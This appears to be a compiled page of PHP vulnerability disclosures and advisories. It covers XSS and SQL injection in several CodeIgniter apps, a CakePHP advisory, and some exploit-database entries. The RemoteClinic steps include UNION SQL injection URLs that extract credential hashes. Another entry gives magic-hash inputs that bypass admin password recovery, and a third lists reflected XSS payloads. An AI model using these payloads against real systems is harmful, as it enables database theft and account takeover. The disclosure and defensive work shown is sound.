Cross Site Scripting (XSS) vulnerability in Kalkun 0.8.0 via username input in file User_model.php.

Link: https://github.com/kalkun-sms/Kalkun

XSS vulnerability with the user name.

We see that the username will be setted in the DB without sanitization in file Kalkun-devel\\application\\models\\User\_model.php

$this\->db\->set('username', trim($this\->input\->post('username')));

Then the username retrieved from the DB and set in the session then redirect to 'kalkun' in file Kalkun-devel\\application\\models\\Kalkun\_model.php

function login(){
  $username = $this\->input\->post('username');
  $this\->db\->from('user');
  $this\->db\->where('username', $username);
  $query = $this\->db\->get();
  
  if ($query\->num\_rows() === 1 && password\_verify($this\->input\->post('password'), $query\->row('password')))
  {
	  //..
	  $this\->session\->set\_userdata('username', $query\->row('username'));
         //...
  }
  if ($this\->input\->post('r\_url'))
  {
  redirect($this\->input\->post('r\_url'));
  }
  else
  {
  redirect('kalkun');
  }
}

In file Kalkun-devel\\application\\controllers\\Kalkun.php

function index()
{
  //...
  $this\->load\->view('main/layout', $data);
}

In file Kalkun-devel\\application\\views\\main\\layout.php

<?php $this\->load\->view('main/dock');?>

Finally, in file Kalkun-devel\\application\\views\\main\\dock.php

<?php echo $this\->session\->userdata('username');?>

CVE-2023-23015: XSS Kalkun

Cross Site Scripting (XSS) vulnerability in InventorySystem thru commit e08fbbe17902146313501ed0b5feba81d58f455c (on Apr 23, 2021) via edit_store_name and edit_active inputs in file InventorySystem.php.

Hello,

I would like to report for possible XSS vulnerabilities.

For example,

In file InventorySystem-master\\application\\controllers\\Stores.php in update function

$data = array(
	'name' => $this\->input\->post('edit\_store\_name'),
	'active' => $this\->input\->post('edit\_active'),	
);

$update = $this\->model\_stores\->update($data, $id);

In file InventorySystem-master\\application\\models\\Model\_stores.php

public function update($data, $id){
  if($data && $id) {
	  $this\->db\->where('id', $id);
	  $update = $this\->db\->update('stores', $data);
	  return ($update == true) ? true : false;
  }
}

Then In file InventorySystem-master\\application\\controllers\\Stores.php

public function fetchStoresDataById($id) {
  if($id) {
	  $data = $this\->model\_stores\->getStoresData($id);
	  echo json\_encode($data);
  }
}

In file InventorySystem-master\\application\\models\\Model\_stores.php

public function getStoresData($id = null){
  if($id) {
	  $sql = "SELECT \* FROM \`stores\` where id = ?";
	  $query = $this\->db\->query($sql, array($id));
	  return $query\->row\_array();
  }
  
  $sql = "SELECT \* FROM \`stores\`";
  $query = $this\->db\->query($sql);
  return $query\->result\_array();
}

CVE-2023-23014: Possible XSS vulnerabilities · Issue #23 · ronknight/InventorySystem

Cross Site Scripting (XSS) vulnerability in craigrodway classroombookings 2.6.4 allows attackers to execute arbitrary code or other unspecified impacts via the input bgcol in file Weeks.php.

Link: https://github.com/craigrodway/classroombookings

XSS vulnerability.

In file classroombookings-master\\application\\controllers\\Weeks.php in function save\_week

the input 'bgcol' will be saved in the DB and passed to the view when it will be printed without sanitization.

$data = array(
	'name' => $this\->input\->post('name'),
	'bgcol' => $this\->input\->post('bgcol'),
);
if ($week\_id = $this\->weeks\_model\->insert($data)) {
//...
}

In file classroombookings-master\\application\\models\\Weeks\_model.php

public function insert($data){
  $data = $this\->sleep\_values($data);
  
  $insert = $this\->db\->insert($this\->table, $data);
  
  return $insert ? $this\->db\->insert\_id() : FALSE;
}

In file classroombookings-master\\application\\controllers\\Weeks.php in function save\_week

public function index(){
  $this\->data\['weeks'\] = $this\->weeks\_model\->get\_all();
  $this\->data\['title'\] = $this\->data\['showtitle'\] = 'Timetable Weeks';
  
  $body = $this\->load\->view('weeks/index', $this\->data, TRUE);
  
  $this\->data\['body'\] = $body;
  
  return $this\->render();
}

In file classroombookings-master\\application\\models\\Weeks\_model.php

public function get\_all(){
  $query = $this\->db\->from($this\->table)
	  ->order\_by('name', 'ASC')
	  ->get();
  
  if ($query\->num\_rows() > 0) {
	  $result = $query\->result();
	  //..
	  return $result;
  }
}

The In file C:\\transfer\_projects\\classroombooking\\classroombookings-master\\application\\views\\weeks\\index.php

<?php
foreach ($weeks as $week) {
//...
	$dot = week\_dot($week);
  echo "<td style='text-align:center'>{$dot}</td>";
//...
}
?>

In file classroombookings-master\\application\\helpers\\week\_helper.php

function week\_dot($week, $size = 'md')
{
	$col = $week\->bgcol;
	$col = str\_replace('#', '', $col);
	$col = '#' . $col;

	$out = "<span class='dot dot-week dot-size-{$size}' style='background-color:{$col}'></span>";
	return $out;
}

CVE-2023-23012: XSS in classroombookings

Cross Site Scripting (XSS) vulnerability in Ecommerce-CodeIgniter-Bootstrap thru commit d5904379ca55014c5df34c67deda982c73dc7fe5 (on Dec 27, 2022), allows attackers to execute arbitrary code via the languages and trans_load parameters in file add_product.php.

@@ -18,37 +18,37 @@ <div class\="form-group available-translations"\> <b\>Languages</b\> <?php foreach ($languages as $language) { ?> <button type\="button" data-locale-change\="<?= $language\->abbr ?>" class\="btn btn-default locale-change text-uppercase <?= $language\->abbr == MY\_DEFAULT\_LANGUAGE\_ABBR ? 'active' : '' ?>"\> <img src\="<?= base\_url('attachments/lang\_flags/' . $language\->flag) ?>" alt\=""\> <?= $language\->abbr ?> <button type\="button" data-locale-change\="<?= htmlspecialchars($language\->abbr) ?>" class\="btn btn-default locale-change text-uppercase <?= $language\->abbr == MY\_DEFAULT\_LANGUAGE\_ABBR ? 'active' : '' ?>"\> <img src\="<?= base\_url('attachments/lang\_flags/' . htmlspecialchars($language\->flag)) ?>" alt\=""\> <?= htmlspecialchars($language\->abbr) ?> </button\> <?php } ?> </div\> <?php $i = 0; foreach ($languages as $language) { ?> <div class\="locale-container locale-container-<?= $language\->abbr ?>" <?= $language\->abbr == MY\_DEFAULT\_LANGUAGE\_ABBR ? 'style="display:block;"' : '' ?>\> <input type\="hidden" name\="translations\[\]" value\="<?= $language\->abbr ?>"\> <div class\="locale-container locale-container-<?= htmlspecialchars($language\->abbr) ?>" <?= $language\->abbr == MY\_DEFAULT\_LANGUAGE\_ABBR ? 'style="display:block;"' : '' ?>\> <input type\="hidden" name\="translations\[\]" value\="<?= htmlspecialchars($language\->abbr) ?>"\> <div class\="form-group"\> <img src\="<?= base\_url('attachments/lang\_flags/' . $language\->flag) ?>" alt\="<?= $language\->name ?>" class\="language"\> <input type\="text" name\="title\[\]" placeholder\="<?= lang('vendor\_product\_name') ?>" value\="<?= $trans\_load != null && isset($trans\_load\[$language\->abbr\]\['title'\]) ? $trans\_load\[$language\->abbr\]\['title'\] : '' ?>" class\="form-control"\> <img src\="<?= base\_url('attachments/lang\_flags/' . htmlspecialchars($language\->flag)) ?>" alt\="<?= htmlspecialchars($language\->name) ?>" class\="language"\> <input type\="text" name\="title\[\]" placeholder\="<?= lang('vendor\_product\_name') ?>" value\="<?= $trans\_load != null && isset($trans\_load\[$language\->abbr\]\['title'\]) ? htmlentities($trans\_load\[$language\->abbr\]\['title'\], ENT\_QUOTES, 'UTF-8') : '' ?>" class\="form-control"\> </div\> <label\><?= lang('vendor\_product\_description') ?> <img src\="<?= base\_url('attachments/lang\_flags/' . $language\->flag) ?>" alt\="<?= $language\->name ?>"\></label\> <label\><?= lang('vendor\_product\_description') ?> <img src\="<?= base\_url('attachments/lang\_flags/' . htmlspecialchars($language\->flag)) ?>" alt\="<?= htmlspecialchars($language\->name) ?>"\></label\> <div class\="form-group"\> <textarea class\="form-control" name\="description\[\]" id\="description<?= $i ?>"\><?= $trans\_load != null && isset($trans\_load\[$language\->abbr\]\['description'\]) ? $trans\_load\[$language\->abbr\]\['description'\] : '' ?></textarea\> <textarea class\="form-control" name\="description\[\]" id\="description<?= $i ?>"\><?= $trans\_load != null && isset($trans\_load\[$language\->abbr\]\['description'\]) ? htmlentities($trans\_load\[$language\->abbr\]\['description'\], ENT\_QUOTES, 'UTF-8') : '' ?></textarea\> </div\> <script\> CKEDITOR.replace('description<?= $i ?>'); CKEDITOR.config.entities \= false; </script\> <div class\="form-group"\> <img src\="<?= base\_url('attachments/lang\_flags/' . $language\->flag) ?>" alt\="" class\="language"\> <input type\="text" name\="price\[\]" value\="<?= $trans\_load != null && isset($trans\_load\[$language\->abbr\]\['price'\]) ? $trans\_load\[$language\->abbr\]\['price'\] : '' ?>" placeholder\="<?= lang('vendor\_price') ?>" class\="form-control"\> <img src\="<?= base\_url('attachments/lang\_flags/' . htmlspecialchars($language\->flag)) ?>" alt\="" class\="language"\> <input type\="text" name\="price\[\]" value\="<?= $trans\_load != null && isset($trans\_load\[$language\->abbr\]\['price'\]) ? htmlentities($trans\_load\[$language\->abbr\]\['price'\], ENT\_QUOTES, 'UTF-8') : '' ?>" placeholder\="<?= lang('vendor\_price') ?>" class\="form-control"\> </div\> <div class\="form-group"\> <img src\="<?= base\_url('attachments/lang\_flags/' . $language\->flag) ?>" alt\="" class\="language"\> <input type\="text" name\="old\_price\[\]" value\="<?= $trans\_load != null && isset($trans\_load\[$language\->abbr\]\['old\_price'\]) ? $trans\_load\[$language\->abbr\]\['old\_price'\] : '' ?>" placeholder\="<?= lang('vendor\_old\_price') ?>" class\="form-control"\> <img src\="<?= base\_url('attachments/lang\_flags/' . htmlspecialchars($language\->flag)) ?>" alt\="" class\="language"\> <input type\="text" name\="old\_price\[\]" value\="<?= $trans\_load != null && isset($trans\_load\[$language\->abbr\]\['old\_price'\]) ? htmlentities($trans\_load\[$language\->abbr\]\['old\_price'\], ENT\_QUOTES, 'UTF-8') : '' ?>" placeholder\="<?= lang('vendor\_old\_price') ?>" class\="form-control"\> </div\> </div\> <?php

CVE-2023-23010: xss fixes · kirilkirkov/Ecommerce-CodeIgniter-Bootstrap@d590437

SQL Injection vulnerability in RemoteClinic 2.0 allows attackers to execute arbitrary commands and gain sensitive information via the id parameter to /medicines/profile.php.

**Vulnerability Description:**

SQL injection (SQLi) refers to an injection attack wherein an attacker can execute malicious SQL statements that control a web application's database server.

Vulnerable Endpoint: http://localhost/RemoteClinic/medicines/profile.php?id=30 (My Medicine Profile ID is **30**)

**Steps to Reproduce:**

1.  Login in Application as Doctor.
2.  Click on Directory.

3.  Click on any medicine profile.

4.  Now PUT single quote in medicine profile endpoint.

5.  Balance the Query to Remove Errors.
    
    **Full URL**: http://localhost/RemoteClinic/medicines/profile.php?id=30%27--%20-
    

6.  Find Total Numbers of Columns.
    
    **Full URL**: http://localhost/RemoteClinic/medicines/profile.php?id=30%27%20order%20by%207--%20-
    

7.  Find Vulnerable Columns.
    
    **Full URL**: http://localhost/RemoteClinic/medicines/profile.php?id=-30%27%20union%20select%201,2,3,4,5,6,7--%20-
    

8.  Now Extract **Current Database** and **Current User**.
    
    **Full URL**: http://localhost/RemoteClinic/medicines/profile.php?id=-30%27%20union%20select%20database(),user(),3,4,5,6,7--%20-
    

9.  Extract All **Users** and **Passwords** (md5 hash).
    
    **Full URL**: http://localhost/RemoteClinic/medicines/profile.php?id=-30%27%20union%20select%20group\_concat(userid,0x3a,passkey,0x0a),2,3,4,5,6,7%20from%20p\_staff\_dir--%20-
    

**Impact:**

An attacker can use SQL injection to bypass a web application's authentication and authorization mechanisms and retrieve the contents of an entire database. SQLi can also be used to add, modify and delete records in a database, affecting data integrity. Under the right circumstances, SQLi can also be used by an attacker to execute OS commands, which may then be used to escalate an attack even further.

CVE-2022-48152: SQL Injection in /medicines/profile.php via `id` parameter · Issue #20 · remoteclinic/RemoteClinic

Multiple SQL Injection vulnerabilies in tourist5 Online-food-ordering-system 1.0.

Hi,

You have lots of sql injection vulnerabilities. You can write your code with parametrized query for mitigation of sql injection.

Example-1:

https://github.com/tourist5/Online-food-ordering-system/blob/main/all-tickets.php

if(isset($\_GET\['status'\])){  
$status = $\_GET\['status'\];  
}  
else{  
$status = '%';  
}  
$sql = mysqli\_query($con, "SELECT \* FROM comments WHERE status LIKE '$status';");

You can exploit the parameter of $status.

Example-2:

https://github.com/tourist5/Online-food-ordering-system/blob/main/view-ticket.php

You can exploit $id parameter.

CVE-2020-29297: SQL Injection Vulnerabilities · Issue #1 · tourist5/Online-food-ordering-system

### Impact

The `Cake\Database\Query::limit()` and `Cake\Database\Query::offset()` methods are vulnerable to SQL injection if passed un-sanitized user request data.

### Patches
This issue has been fixed in 4.2.12, 4.3.11, 4.4.10

### Workarounds

Using CakePHP's Pagination library will mitigate this issue, as will validating or casting parameters to these methods.

### References

https://bakery.cakephp.org/2023/01/06/cakephp_4211_4311_4410_released.html


**Package**

composer cakephp/cakephp (Composer)

**Affected versions**

\>= 4.2.0, < 4.2.12

\>= 4.3.0, < 4.3.11

\>= 4.4.0, < 4.4.10

**Patched versions**

4.2.12

4.3.11

4.4.10

**Description**

**Impact**

The Cake\Database\Query::limit() and Cake\Database\Query::offset() methods are vulnerable to SQL injection if passed un-sanitized user request data.

**Patches**

This issue has been fixed in 4.2.12, 4.3.11, 4.4.10

**Workarounds**

Using CakePHP's Pagination library will mitigate this issue, as will validating or casting parameters to these methods.

**References**

https://bakery.cakephp.org/2023/01/06/cakephp\_4211\_4311\_4410\_released.html

**References**

*   GHSA-6g8q-qfpv-57wp
*   https://nvd.nist.gov/vuln/detail/CVE-2023-22727
*   cakephp/cakephp@3f463e7
*   https://bakery.cakephp.org/2023/01/06/cakephp\_4211\_4311\_4410\_released.html

 markstory published the maintainer security advisory

Jan 17, 2023

GHSA-6g8q-qfpv-57wp: CakePHP vulnerable to SQL injection

Patient Record Management System version 1.0 suffers from an authentication bypass vulnerability during account recovery.

    # Exploit Title: Patient Record Management System v1.0 - Authentication Bypass via PHP Loose Comparison# Exploit Author: Joe Pollock# Date: January 19, 2023# Vendor Homepage: https://www.sourcecodester.com/php/13505/patient-record-management-system.html# Software Link: https://www.sourcecodester.com/sites/default/files/download/oretnom23/patientrecords.zip# Tested on: Kali Linux, Apache, Mysql, PHP 8.1.5# CVE: T.B.C# Vendor: kimcey500# Version: 1.0# Exploit Description:#   Patient Record Management System v1.0 implements a PHP loose comparison within the password recovery functionality (secret question/answer) of #   the admin account, which renders the application vulnerable to an authentication bypass depending on the secret answer chosen by the administrator. #   If the secret answer generates a SHA1 magic hash (SHA1 is the hashing format used by the application to store secret answers) then an authentication #   bypass of the admin account is possible using any other SHA1 magic hash. The vulnerable function is found within User_model.php and is shown below:public function get_forgot_secret($login_id, $secans){   $this->db->where('u_id', $login_id);   $query = $this->db->get('users');   $decrypt = $query->row()->u_secretanswer;   if(sha1($secans) == $decrypt){ // md5 encryption       return $query->row();   }} ========================================================(+) To reproduce this exploit:========================================================1. Log in as the administrator and navigate to the password recovery functionality (http://localhost/Indexcontrol/secretquestion).2. Enter the ‘Current Password’ then select any ‘Secret Question’. 3. For the ‘Secret Answer’, use the following: 109324351124. Confirm the ‘Secret Answer’ then click ‘Submit’. Now logout of the administrator account.5. From the admin login page, click ‘Forgot Password?’.6. Enter ‘admin’ as the username then click ‘Submit’.7. For the ‘Secret Answer’, use any of the following:aaroZmOkw9KASOk6IkapaaO8zKZFaa3OFF9mw9KASOk6Ikap8. After clicking 'Submit, the 'create new password' functionality should be displayed and therefore authentication can be bypassed.========================================================(+) Explanation:========================================================Following from above, assume the administrator has chosen the following as their secret answer: 10932435112The application then stores the SHA1 hash of the secret answer in the database. The stored hash is: 0e07766915004133176347055865026311692244The above hash is an example of a 'magic hash', i.e. the hash starts with "0e" (or "0..0e") only followed by numbers.In PHP, if two strings are loosely compared (==) and match the regular expression 0+e[0-9]+, the result will be TRUE.It will then be possible to bypass the authentication of this account using any secret answer which generates a SHA1 magic hash. Any of the following secret answers could be used to bypass authentication:aaroZmOkw9KASOk6IkapaaO8zKZFaa3OFF9mw9KASOk6IkapSee here for more examples that could be used: https://github.com/spaze/hashes/blob/master/sha1.mdThe comparision which would take place by the application in get_forgot_secret() is:if(sha1(aaroZmOk) == "0e07766915004133176347055865026311692244"){   //Reset passwordWhich becomes:if("0e66507019969427134894567494305185566735" == "0e07766915004133176347055865026311692244"){   //Reset passwordDue to the loose comparision used (==), the above evaluates to TRUE, which would then allow the attacker to changethe password of the account.You can try this yourself using the interactive PHP interpreter:var_dump(sha1('aaroZmOk') == "0e111");var_dump(sha1('aaroZmOk') == "0e222");var_dump(sha1('aaroZmOk') == sha1('w9KASOk6Ikap'));========================================================(+) References and more information========================================================https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Type%20Juggling/README.mdhttp://turbochaos.blogspot.com/2013/08/exploiting-exotic-bugs-php-type-juggling.htmlhttps://www.whitehatsec.com/blog/magic-hashes/https://github.com/spaze/hasheshttps://offsec.almond.consulting/super-magic-hash.html

Patient Record Management System 1.0 Authentication Bypass

Inout Multi-Vendor Shopping Cart version 3.2.3 suffers from a remote SQL injection vulnerability.

┌┌───────────────────────────────────────────────────────────────────────────────────────┐  
││                                     C r a C k E r                                    ┌┘  
┌┘                 T H E   C R A C K   O F   E T E R N A L   M I G H T                  ││  
└───────────────────────────────────────────────────────────────────────────────────────┘┘

 ┌────              From The Ashes and Dust Rises An Unimaginable crack....          ────┐  
┌┌───────────────────────────────────────────────────────────────────────────────────────┐  
┌┘                                  [ Vulnerability ]                                   ┌┘  
└───────────────────────────────────────────────────────────────────────────────────────┘┘  
:  Author   : CraCkEr                                                                    :  
│  Website  : inoutscripts.com                                                           │  
│  Vendor   : Inout Scripts - Nesote Technologies Private Limited                        │  
│  Software : Inout Multi-Vendor Shopping Cart 3.2.3                                     │  
│  Vuln Type: SQL Injection                                                              │  
│  Impact   : Database Access                                                            │  
│                                                                                        │  
│────────────────────────────────────────────────────────────────────────────────────────│  
│                                                                                       ┌┘  
└───────────────────────────────────────────────────────────────────────────────────────┘┘  
:                                                                                        :  
│ Release Notes:                                                                         │  
│ ═════════════                                                                          │  
│                                                                                        │  
│ SQL injection attacks can allow unauthorized access to sensitive data, modification of │  
│ data and crash the application or make it unavailable, leading to lost revenue and     │  
│ damage to a company's reputation.                                                      │  
│                                                                                        │  
┌┌───────────────────────────────────────────────────────────────────────────────────────┐  
┌┘                                                                                      ┌┘  
└───────────────────────────────────────────────────────────────────────────────────────┘┘

Greets:

    The_PitBull, Raz0r, iNs, SadsouL, His0k4, Hussin X, Mr. SQL   

         CryptoJob (Twitter) twitter.com/CryptozJob

     ┌┌───────────────────────────────────────────────────────────────────────────────────────┐  
┌┘                                    © CraCkEr 2023                                    ┌┘  
└───────────────────────────────────────────────────────────────────────────────────────┘┘

Path: /index.php

POST parameter 'val' is vulnerable to SQLI

val=All[INJECT-HERE]&category=9%20&startpage=0&real_price_min=250&real_price_max=34222&vendorid=0&size=&color=

POST parameter 'category' is vulnerable to SQLI

val=All&category=9%20[INJECT-HERE]&startpage=0&real_price_min=250&real_price_max=34222&vendorid=0&size=&color=

POST parameter 'startpage' is vulnerable to SQLI

val=All&category=9 &startpage=0[INJECT-HERE]&real_price_min=250&real_price_max=34222&vendorid=0&size=&color=

POST parameter 'real_price_min' is vulnerable to SQLI

val=All&category=9 &startpage=0&real_price_min=250[INJECT-HERE]&real_price_max=34222&vendorid=0&size=&color=

POST parameter 'real_price_max' is vulnerable to SQLI

val=All&category=9 &startpage=0&real_price_min=250&real_price_max=34222[INJECT-HERE]vendorid=0&size=&color=

POST parameter 'vendorid' is vulnerable to SQLI

val=All&category=9 &startpage=0&real_price_min=250&real_price_max=34222&vendorid=0[INJECT-HERE]&size=&color=

[-] Done

Inout Multi-Vendor Shopping Cart 3.2.3 SQL Injection

Inout Multi-Vendor Shopping Cart version 3.2.3 suffers from a cross site scripting vulnerability.

    ┌┌───────────────────────────────────────────────────────────────────────────────────────┐││                                     C r a C k E r                                    ┌┘┌┘                 T H E   C R A C K   O F   E T E R N A L   M I G H T                  ││└───────────────────────────────────────────────────────────────────────────────────────┘┘ ┌────              From The Ashes and Dust Rises An Unimaginable crack....          ────┐┌┌───────────────────────────────────────────────────────────────────────────────────────┐┌┘                                      [ Exploits ]                                    ┌┘└───────────────────────────────────────────────────────────────────────────────────────┘┘:  Author   : CraCkEr                                                                    :│  Website  : inoutscripts.com                                                           ││  Vendor   : Inout Scripts - Nesote Technologies Private Limited                        ││  Software : Inout Multi-Vendor Shopping Cart 3.2.3                                     ││  Vuln Type: Reflected XSS                                                              ││  Impact   : Manipulate the content of the site                                         ││                                                                                        ││────────────────────────────────────────────────────────────────────────────────────────││                                                                                       ┌┘└───────────────────────────────────────────────────────────────────────────────────────┘┘:                                                                                        :│  Release Notes:                                                                        ││  ═════════════                                                                         ││  The attacker can send to victim a link containing a malicious URL in an email or      ││  instant message can perform a wide variety of actions, such as stealing the victim's  ││  session token or login credentials                                                    ││                                                                                        │┌┌───────────────────────────────────────────────────────────────────────────────────────┐┌┘                                                                                      ┌┘└───────────────────────────────────────────────────────────────────────────────────────┘┘Greets:    The_PitBull, Raz0r, iNs, SadsouL, His0k4, Hussin X, Mr. SQL            CryptoJob (Twitter) twitter.com/CryptozJob     ┌┌───────────────────────────────────────────────────────────────────────────────────────┐┌┘                                    © CraCkEr 2023                                    ┌┘└───────────────────────────────────────────────────────────────────────────────────────┘┘Path: /index.phpMethod: GETURL parameter 'page' is vulnerable to XSShttps://www.website.com/index.php?page=product%2fcouponsh446k%3cimg%20src%3da%20onerror%3dalert(1)%3eciqs8URL parameter 'keyword' is vulnerable to XSShttps://www.website.com/index.php?page=product/productviews&keyword=tv24708%22%3balert(1)%2f%2f279[-] Done

Tag

#php